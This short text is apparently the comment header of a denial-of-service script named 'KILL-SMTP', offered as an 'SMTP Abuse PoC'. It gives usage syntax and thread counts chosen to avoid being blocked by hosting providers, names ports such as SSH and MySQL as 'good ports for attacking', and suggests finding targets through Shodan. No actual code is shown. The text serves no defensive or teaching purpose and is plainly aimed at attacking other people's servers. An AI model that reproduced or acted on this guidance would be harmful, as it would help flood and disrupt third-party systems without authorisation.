SMTP Abuse PoC | KILL-SMTP Method

# SMTP Abuse PoC | Example Code | KILL-SMTP from SecurityTeam
# This works/affects any port where the server returns a Banner (specifically containing OS Information)
# Best results with 1 or 100 threads, anything after that gets blocked by OVH/NFO and other providers
# Reports for abuse on source port 25 are common since you are abusing SMTP
# Port: 22/SSH
# Port: 3306/MySQL
# Good ports for attacking//Common open ports
# shodan.io to search for ports returning banners
# Stop Attack with Ctrl^Z on Linux | Close Python on Windows
# Usage: python script.py ip port threads
